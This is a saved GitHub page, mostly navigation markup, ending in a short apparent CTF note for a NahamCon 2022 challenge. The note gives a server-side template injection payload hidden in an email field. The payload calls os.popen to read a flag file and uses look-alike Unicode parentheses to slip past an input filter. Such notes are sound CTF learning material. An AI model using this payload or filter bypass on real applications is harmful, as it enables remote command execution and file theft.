0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/d3vinfos3c/CTF_Writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":484248602,"originating_url":"https://github.com/d3vinfos3c/CTF_Writeups/tree/main/nahamcon22/pwn/babysteps","user_id":null}}" data-hydro-click-hmac="11f1d78a9804040dcadc77256ac5451630f336611b68d05f8ea339de4de2d832"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/d3vinfos3c/CTF_Writeups/refs" cache-key="v0:1650588541.1490712" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="ZDN2aW5mb3MzYy9DVEZfV3JpdGV1cHM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/d3vinfos3c/CTF_Writeups/refs" cache-key="v0:1650588541.1490712" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="ZDN2aW5mb3MzYy9DVEZfV3JpdGV1cHM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF_Writeups</span></span></span><span>/</span><span><span>nahamcon22</span></span><span>/</span><span><span>pwn</span></span><span>/</span>babysteps<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF_Writeups</span></span></span><span>/</span><span><span>nahamcon22</span></span><span>/</span><span><span>pwn</span></span><span>/</span>babysteps<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/d3vinfos3c/CTF_Writeups/tree-commit/8b045d7d42c404a0fc48181f92f8e4ba9dff8ac5/nahamcon22/pwn/babysteps" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/d3vinfos3c/CTF_Writeups/file-list/main/nahamcon22/pwn/babysteps"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>babysteps</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>babysteps.c</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sol.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
Not a full writeup. I didn't solve this but wanted to share the parenthesis bypass that I did come up with.
Name: sam
Email: `"{{request.application['__globals__'].__builtins__.__import__﹙'os'﹚.popen﹙'cat flag.txt'﹚.read﹙﹚}}"@m.edu`
Here the symbols that look like ( and ) are actually high-unicode characters: SMALL LEFT/RIGHT PARENTHESIS0xFE59 and 0xFE5A
See [this page](https://unicode-search.net/unicode-namesearch.pl?term=PARENTHESIS)
These get past the filter but must "turn into" regular parenthesis when the expression is evaluated. I'm not sure why.
The email syntax checker allows certain characters ONLY if the portion to the left of the @ is surrounded by double-quotes. |
